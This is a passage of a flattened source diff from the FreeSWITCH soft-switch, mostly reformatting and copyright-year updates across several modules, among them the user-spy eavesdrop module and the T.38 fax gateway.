nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
}
*/
return SWITCH_STATUS_SUCCESS;
}
static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
/* enforce_min, min, enforce_max, max */
static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
{ "greedy", CODEC_NEGOTIATION_GREEDY },
{ "generous", CODEC_NEGOTIATION_GENEROUS },
{ "evil", CODEC_NEGOTIATION_EVIL },
{ NULL, 0 }
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
{"greedy", CODEC_NEGOTIATION_GREEDY},
{"generous", CODEC_NEGOTIATION_GENEROUS},
{"evil", CODEC_NEGOTIATION_EVIL},
{NULL, 0}
};
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
"yes|no", "If enabled, print out sip messages on the console."),
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
NULL, NULL),
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
&config_opt_codec_negotiation,
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
&config_opt_codec_negotiation_enum,
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
(switch_xml_config_callback_t) config_callback_siptrace, NULL,
"yes|no", "If enabled, print out sip messages on the console."),
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
NULL, NULL),
SWITCH_CONFIG_ITEM_END()
};
@@ -102,14 +106,14 @@ static switch_status_t do_config(switch_bool_t reload)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open snipe_hunt.conf\n");
return SWITCH_STATUS_FALSE;
}
return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(snipe_hunt_function)
{
do_config(SWITCH_TRUE);
return SWITCH_STATUS_SUCCESS;
}
@@ -121,9 +125,9 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_snipe_hunt_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
do_config(SWITCH_FALSE);
SWITCH_ADD_API(api_interface, "snipe_hunt", "Snipe_Hunt API", snipe_hunt_function, "syntax");
/* indicate that the module should continue to be loaded */
+10 -15
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -33,14 +33,9 @@
SWITCH_MODULE_LOAD_FUNCTION(mod_snom_load);
SWITCH_MODULE_DEFINITION(mod_snom, mod_snom_load, NULL, NULL);
static switch_bool_t snom_bind_key(const char *key,
const char *light,
const char *label,
const char *user,
const char *host,
const char *profile,
const char *action_name,
const char *action)
static switch_bool_t snom_bind_key(const char *key,
const char *light,
const char *label, const char *user, const char *host, const char *profile, const char *action_name, const char *action)
{
switch_event_t *event;
@@ -61,7 +56,7 @@ static switch_bool_t snom_bind_key(const char *key,
}
return SWITCH_TRUE;
}
return SWITCH_FALSE;
}
@@ -92,17 +87,17 @@ SWITCH_STANDARD_API(snom_bind_key_api_function)
if (argc < 6) {
goto err;
}
if (snom_bind_key(argv[0], argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
stream->write_function(stream, "+OK %s\n", cmd);
goto end;
}
err:
err:
stream->write_function(stream, "-Error %s\n", KEY_BIND_SYNTAX);
end:
end:
free(mydata);
@@ -122,7 +117,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_snom_load)
SWITCH_ADD_API(commands_api_interface, "snom_bind_key", "Bind a key", snom_bind_key_api_function, KEY_BIND_SYNTAX);
SWITCH_ADD_API(commands_api_interface, "snom_url", "url", snom_url_api_function, URL_SYNTAX);
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
+77 -77
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -39,10 +39,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_spy_load);
SWITCH_MODULE_DEFINITION(mod_spy, mod_spy_load, mod_spy_shutdown, NULL);
struct mod_spy_globals {
switch_memory_pool_t* pool;
switch_event_node_t* node;
switch_hash_t* spy_hash;
switch_thread_rwlock_t* spy_hash_lock;
switch_memory_pool_t *pool;
switch_event_node_t *node;
switch_hash_t *spy_hash;
switch_thread_rwlock_t *spy_hash_lock;
uint32_t spy_count;
} globals;
@@ -50,14 +50,14 @@ static switch_status_t spy_on_hangup(switch_core_session_t *session)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
char* data = switch_channel_get_private(channel,"_userspy_");
char *data = switch_channel_get_private(channel, "_userspy_");
switch_thread_rwlock_wrlock(globals.spy_hash_lock);
if ((switch_core_hash_delete(globals.spy_hash,data) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"No such key in userspy: %s \n",data);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"Userspy deactivated on %s\n",data);
if ((switch_core_hash_delete(globals.spy_hash, data) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No such key in userspy: %s \n", data);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Userspy deactivated on %s\n", data);
globals.spy_count--;
}
@@ -68,16 +68,16 @@ static switch_status_t spy_on_hangup(switch_core_session_t *session)
static switch_status_t spy_on_exchange_media(switch_core_session_t *session)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
const char* spy_uuid = switch_channel_get_variable(channel,"spy_uuid");
const char *spy_uuid = switch_channel_get_variable(channel, "spy_uuid");
if (spy_uuid) {
if (switch_ivr_eavesdrop_session(session,spy_uuid,NULL,ED_DTMF) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Can't eavesdrop on uuid %s\n",spy_uuid);
if (switch_ivr_eavesdrop_session(session, spy_uuid, NULL, ED_DTMF) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Can't eavesdrop on uuid %s\n", spy_uuid);
}
}
switch_channel_set_state(channel,CS_PARK);
return SWITCH_STATUS_FALSE;
switch_channel_set_state(channel, CS_PARK);
return SWITCH_STATUS_FALSE;
}
static switch_status_t spy_on_park(switch_core_session_t *session)
@@ -85,7 +85,7 @@ static switch_status_t spy_on_park(switch_core_session_t *session)
switch_channel_t *channel = switch_core_session_get_channel(session);
const char *moh = switch_channel_get_variable(channel, "hold_music");
while(switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
while (switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
if (moh) {
switch_status_t status = switch_ivr_play_file(session, NULL, moh, NULL);
if (!SWITCH_READ_ACCEPTABLE(status)) {
@@ -98,13 +98,13 @@ static switch_status_t spy_on_park(switch_core_session_t *session)
static const switch_state_handler_table_t spy_state_handlers = {
/*.on_init */ NULL,
/*.on_routing */ NULL,
/*.on_execute */ NULL,
/*.on_hangup */ spy_on_hangup,
/*.on_exchange_media */ spy_on_exchange_media,
/*.on_soft_execute */ NULL,
/*.on_consume_media */ NULL,
/*.on_init */ NULL,
/*.on_routing */ NULL,
/*.on_execute */ NULL,
/*.on_hangup */ spy_on_hangup,
/*.on_exchange_media */ spy_on_exchange_media,
/*.on_soft_execute */ NULL,
/*.on_consume_media */ NULL,
/* on_hibernate */ NULL,
/* on reset */ NULL,
/* on_park */ spy_on_park,
@@ -113,29 +113,29 @@ static const switch_state_handler_table_t spy_state_handlers = {
SWITCH_STANDARD_API(dump_hash)
{
switch_hash_index_t *hi;
const void* key;
void* val;
const void *key;
void *val;
switch_thread_rwlock_rdlock(globals.spy_hash_lock);
for (hi = switch_hash_first(NULL,globals.spy_hash);hi; hi = switch_hash_next(hi)){
switch_hash_this(hi,&key,NULL,&val);
stream->write_function(stream,"%s : %s\n",(char*)key,(const char*)val);
for (hi = switch_hash_first(NULL, globals.spy_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &key, NULL, &val);
stream->write_function(stream, "%s : %s\n", (char *) key, (const char *) val);
}
stream->write_function(stream,"\n%d total spy\n",globals.spy_count);
stream->write_function(stream, "\n%d total spy\n", globals.spy_count);
switch_thread_rwlock_unlock(globals.spy_hash_lock);
return SWITCH_STATUS_SUCCESS;
}
static void event_handler(switch_event_t* event)
static void event_handler(switch_event_t *event)
{
switch_core_session_t *session = NULL;
switch_channel_t *channel;
char *username[2] = {0};
char* domain[2] = {0};
char *username[2] = { 0 };
char *domain[2] = { 0 };
char key[512];
char* uuid = NULL, *my_uuid = NULL;
char *uuid = NULL, *my_uuid = NULL;
int i;
switch_thread_rwlock_rdlock(globals.spy_hash_lock);
@@ -144,22 +144,22 @@ static void event_handler(switch_event_t* event)
goto done;
}
username[0] = switch_event_get_header(event,"Caller-Username");
domain[0] = switch_event_get_header(event,"variable_domain_name");
domain[1] = switch_event_get_header(event,"variable_dialed_domain");
username[1] = switch_event_get_header(event,"variable_dialed_user");
username[0] = switch_event_get_header(event, "Caller-Username");
domain[0] = switch_event_get_header(event, "variable_domain_name");
domain[1] = switch_event_get_header(event, "variable_dialed_domain");
username[1] = switch_event_get_header(event, "variable_dialed_user");
for (i = 0; i < 2; i++) {
if (username[i] && domain[i]) {
switch_snprintf(key,sizeof(key),"%s@%s",username[i],domain[i]);
switch_snprintf(key, sizeof(key), "%s@%s", username[i], domain[i]);
if ((uuid = switch_core_hash_find(globals.spy_hash,key))) {
if ((uuid = switch_core_hash_find(globals.spy_hash, key))) {
break;
}
}
}
done:
done:
switch_thread_rwlock_unlock(globals.spy_hash_lock);
if (!uuid) {
@@ -169,64 +169,64 @@ static void event_handler(switch_event_t* event)
session = switch_core_session_locate(uuid);
channel = switch_core_session_get_channel(session);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"UserSpy retrieved uuid %s for key %s, activating eavesdrop \n",uuid,key);
my_uuid = switch_event_get_header(event,"Unique-ID");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "UserSpy retrieved uuid %s for key %s, activating eavesdrop \n", uuid, key);
my_uuid = switch_event_get_header(event, "Unique-ID");
switch_channel_set_variable(channel,"spy_uuid",my_uuid);
switch_channel_set_variable(channel, "spy_uuid", my_uuid);
switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
switch_channel_set_flag(channel,CF_BREAK);
switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
switch_channel_set_flag(channel, CF_BREAK);
switch_core_session_rwunlock(session);
}
#define USERSPY_SYNTAX "<user@domain> [uuid]"
SWITCH_STANDARD_APP(userspy_function)
SWITCH_STANDARD_APP(userspy_function)
{
int argc = 0;
char* argv[2] = {0};
char* params = NULL;
char *argv[2] = { 0 };
char *params = NULL;
if (!zstr(data) && (params = switch_core_session_strdup(session,data))) {
if (!zstr(data) && (params = switch_core_session_strdup(session, data))) {
if ((argc = switch_separate_string(params, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 1) {
switch_channel_t *channel = switch_core_session_get_channel(session);
char* uuid = switch_core_session_get_uuid(session);
char *uuid = switch_core_session_get_uuid(session);
switch_status_t status;
switch_thread_rwlock_wrlock(globals.spy_hash_lock);
if (switch_core_hash_find(globals.spy_hash,argv[0])) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Spy already exists for %s\n",argv[0]);
switch_channel_hangup(channel,SWITCH_CAUSE_NORMAL_CLEARING);
if (switch_core_hash_find(globals.spy_hash, argv[0])) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Spy already exists for %s\n", argv[0]);
switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
switch_thread_rwlock_unlock(globals.spy_hash_lock);
return;
}
status = switch_core_hash_insert(globals.spy_hash,argv[0],(void*) uuid);
status = switch_core_hash_insert(globals.spy_hash, argv[0], (void *) uuid);
if ((status != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Cant insert to spy hash\n");
switch_channel_hangup(channel,SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
switch_thread_rwlock_unlock(globals.spy_hash_lock);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cant insert to spy hash\n");
switch_channel_hangup(channel, SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
switch_thread_rwlock_unlock(globals.spy_hash_lock);
return;
}
globals.spy_count++;
switch_thread_rwlock_unlock(globals.spy_hash_lock);
switch_channel_set_private(channel,"_userspy_",(void*) argv[0]);
switch_channel_add_state_handler(channel,&spy_state_handlers);
switch_channel_set_private(channel, "_userspy_", (void *) argv[0]);
switch_channel_add_state_handler(channel, &spy_state_handlers);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,"UserSpy activated on %s \n",argv[0]);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "UserSpy activated on %s \n", argv[0]);
if (argv[1]) {
switch_channel_set_variable(channel,"spy_uuid",argv[1]);
switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
switch_channel_set_variable(channel, "spy_uuid", argv[1]);
switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
return;
}
switch_channel_set_state(channel,CS_PARK);
switch_channel_set_state(channel, CS_PARK);
return;
}
return;
@@ -244,15 +244,15 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_spy_load)
globals.pool = pool;
switch_core_hash_init(&globals.spy_hash,pool);
switch_thread_rwlock_create(&globals.spy_hash_lock,pool);
switch_core_hash_init(&globals.spy_hash, pool);
switch_thread_rwlock_create(&globals.spy_hash_lock, pool);
globals.spy_count = 0;
switch_event_bind_removable(modname, SWITCH_EVENT_CHANNEL_BRIDGE, NULL, event_handler, NULL, &globals.node);
SWITCH_ADD_APP(app_interface,"userspy","Spy on a user constantly","Spy on a user constantly",userspy_function,USERSPY_SYNTAX,SAF_NONE);
SWITCH_ADD_API(api_interface,"userspy_show","Show current spies",dump_hash,"userspy_show");
SWITCH_ADD_APP(app_interface, "userspy", "Spy on a user constantly", "Spy on a user constantly", userspy_function, USERSPY_SYNTAX, SAF_NONE);
SWITCH_ADD_API(api_interface, "userspy_show", "Show current spies", dump_hash, "userspy_show");
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
@@ -261,12 +261,12 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spy_shutdown)
{
int sanity = 0;
while (globals.spy_count) {
switch_cond_next();
if (++sanity >= 60000) {
break;
}
}
while (globals.spy_count) {
switch_cond_next();
if (++sanity >= 60000) {
break;
}
}
switch_event_unbind(&globals.node);
switch_core_hash_destroy(&globals.spy_hash);
+39 -45
View File
@@ -14,7 +14,7 @@
#if defined (FFTReal_CURRENT_HEADER)
#error Recursive inclusion of FFTReal header file.
#error Recursive inclusion of FFTReal header file.
#endif
#define FFTReal_CURRENT_HEADER
@@ -25,89 +25,83 @@
#if defined (_MSC_VER)
#pragma pack (push, 8)
#endif // _MSC_VER
#endif // _MSC_VER
class FFTReal
{
class FFTReal {
/*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
public:
public:
/* Change this typedef to use a different floating point type in your FFTs
(i.e. float, double or long double). */
typedef float flt_t;
(i.e. float, double or long double). */
typedef float flt_t;
explicit FFTReal (const long length);
~FFTReal ();
void do_fft (flt_t f [], const flt_t x []) const;
void do_ifft (const flt_t f [], flt_t x []) const;
void rescale (flt_t x []) const;
explicit FFTReal(const long length);
~FFTReal();
void do_fft(flt_t f[], const flt_t x[]) const;
void do_ifft(const flt_t f[], flt_t x[]) const;
void rescale(flt_t x[]) const;
/*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
private:
private:
/* Bit-reversed look-up table nested class */
class BitReversedLUT
{
public:
explicit BitReversedLUT (const int nbr_bits);
~BitReversedLUT ();
const long * get_ptr () const
{
class BitReversedLUT {
public:
explicit BitReversedLUT(const int nbr_bits);
~BitReversedLUT();
const long *get_ptr() const {
return (_ptr);
}
private:
long * _ptr;
} private:
long *_ptr;
};
/* Trigonometric look-up table nested class */
class TrigoLUT
{
public:
explicit TrigoLUT (const int nbr_bits);
~TrigoLUT ();
const flt_t * get_ptr (const int level) const
{
class TrigoLUT {
public:
explicit TrigoLUT(const int nbr_bits);
~TrigoLUT();
const flt_t *get_ptr(const int level) const {
return (_ptr + (1L << (level - 1)) - 4);
};
private:
flt_t * _ptr;
private:
flt_t *_ptr;
};
const BitReversedLUT _bit_rev_lut;
const TrigoLUT _trigo_lut;
const flt_t _sqrt2_2;
const long _length;
const int _nbr_bits;
flt_t * _buffer_ptr;
const BitReversedLUT _bit_rev_lut;
const TrigoLUT _trigo_lut;
const flt_t _sqrt2_2;
const long _length;
const int _nbr_bits;
flt_t *_buffer_ptr;
/*\\\ FORBIDDEN MEMBER FUNCTIONS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
private:
private:
FFTReal (const FFTReal &other);
const FFTReal& operator = (const FFTReal &other);
int operator == (const FFTReal &other);
int operator != (const FFTReal &other);
FFTReal(const FFTReal & other);
const FFTReal & operator =(const FFTReal & other);
int operator ==(const FFTReal & other);
int operator !=(const FFTReal & other);
};
#if defined (_MSC_VER)
#pragma pack (pop)
#endif // _MSC_VER
#endif // _MSC_VER
#endif // FFTReal_HEADER_INCLUDED
#endif // FFTReal_HEADER_INCLUDED
#undef FFTReal_CURRENT_HEADER
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -54,40 +54,42 @@ SWITCH_STANDARD_APP(t38gateway_start_function);
/*! Type that holds codec information. */
typedef struct {
/*! The sampling rate of the audio stream. */
int rate;
/*! The number of channels. */
int channels;
/*! The sampling rate of the audio stream. */
int rate;
/*! The number of channels. */
int channels;
} t38gateway_codec_info_t;
/*! Type that holds session information pertinent to the t38gateway module. */
typedef struct {
/*! Internal FreeSWITCH session. */
switch_core_session_t *session;
/*! Codec information for the session. */
t38gateway_codec_info_t t38gateway_codec;
t38_gateway_state_t *t38;
t38_core_state_t *t38_core;
udptl_state_t *udptl;
/*! Internal FreeSWITCH session. */
switch_core_session_t *session;
/*! Codec information for the session. */
t38gateway_codec_info_t t38gateway_codec;
t38_gateway_state_t *t38;
t38_core_state_t *t38_core;
udptl_state_t *udptl;
} t38gateway_session_info_t;
static int tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
{
t38gateway_session_info_t *t;
t38gateway_session_info_t *t;
t = (t38gateway_session_info_t *) user_data;
return 0;
t = (t38gateway_session_info_t *) user_data;
return 0;
}
/*- End of function --------------------------------------------------------*/
static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int seq_no)
{
t38gateway_session_info_t *t;
t38gateway_session_info_t *t;
t = (t38gateway_session_info_t *) user_data;
t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
return 0;
t = (t38gateway_session_info_t *) user_data;
t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
return 0;
}
/*- End of function --------------------------------------------------------*/
/*! \brief The callback function that is called when new audio data becomes available
@@ -98,39 +100,39 @@ static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int s
* @param type The switch callback type.
* @return The success or failure of the function.
*/
static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
static switch_bool_t t38gateway_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
{
t38gateway_session_info_t *t38gateway_info;
switch_codec_t *read_codec;
switch_frame_t *frame;
int16_t *amp;
t38gateway_session_info_t *t38gateway_info;
switch_codec_t *read_codec;
switch_frame_t *frame;
int16_t *amp;
t38gateway_info = (t38gateway_session_info_t *) user_data;
if (t38gateway_info == NULL) {
return SWITCH_FALSE;
}
t38gateway_info = (t38gateway_session_info_t *) user_data;
if (t38gateway_info == NULL) {
return SWITCH_FALSE;
}
switch (type) {
case SWITCH_ABC_TYPE_INIT:
read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
break;
case SWITCH_ABC_TYPE_READ_PING:
case SWITCH_ABC_TYPE_CLOSE:
break;
case SWITCH_ABC_TYPE_READ:
frame = switch_core_media_bug_get_read_replace_frame(bug);
amp = (int16_t *) frame->data;
t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
break;
case SWITCH_ABC_TYPE_WRITE:
case SWITCH_ABC_TYPE_READ_REPLACE:
case SWITCH_ABC_TYPE_WRITE_REPLACE:
break;
}
switch (type) {
case SWITCH_ABC_TYPE_INIT:
read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
break;
case SWITCH_ABC_TYPE_READ_PING:
case SWITCH_ABC_TYPE_CLOSE:
break;
case SWITCH_ABC_TYPE_READ:
frame = switch_core_media_bug_get_read_replace_frame(bug);
amp = (int16_t *) frame->data;
t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
break;
case SWITCH_ABC_TYPE_WRITE:
case SWITCH_ABC_TYPE_READ_REPLACE:
case SWITCH_ABC_TYPE_WRITE_REPLACE:
break;
}
return SWITCH_TRUE;
return SWITCH_TRUE;
}
/*! \brief FreeSWITCH module loading function
@@ -140,19 +142,19 @@ static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_da
*/
SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
{
switch_application_interface_t *app_interface;
switch_api_interface_t *api_interface;
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_application_interface_t *app_interface;
switch_api_interface_t *api_interface;
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH application handler function.
@@ -163,48 +165,48 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
*/
SWITCH_STANDARD_APP(t38gateway_start_function)
{
switch_media_bug_t *bug;
switch_status_t status;
switch_channel_t *channel;
t38gateway_session_info_t *t38gateway_info;
switch_media_bug_t *bug;
switch_status_t status;
switch_channel_t *channel;
t38gateway_session_info_t *t38gateway_info;
if (session == NULL)
return;
if (session == NULL)
return;
channel = switch_core_session_get_channel(session);
channel = switch_core_session_get_channel(session);
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(data, "stop") == 0) {
switch_channel_set_private(channel, "_t38gateway_", NULL);
switch_core_media_bug_remove(session, &bug);
return;
}
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(data, "stop") == 0) {
switch_channel_set_private(channel, "_t38gateway_", NULL);
switch_core_media_bug_remove(session, &bug);
return;
}
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
return;
}
return;
}
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
t38gateway_info->session = session;
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
t38gateway_info->session = session;
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
return;
}
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
return;
}
switch_channel_set_private(channel, "_t38gateway_", bug);
switch_channel_set_private(channel, "_t38gateway_", bug);
}
/*! \brief Called when the module shuts down
@@ -214,9 +216,9 @@ SWITCH_STANDARD_APP(t38gateway_start_function)
*/
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
{
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
return SWITCH_STATUS_SUCCESS;
return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH API handler function.
@@ -228,110 +230,110 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
*/
SWITCH_STANDARD_API(t38gateway_api_main)
{
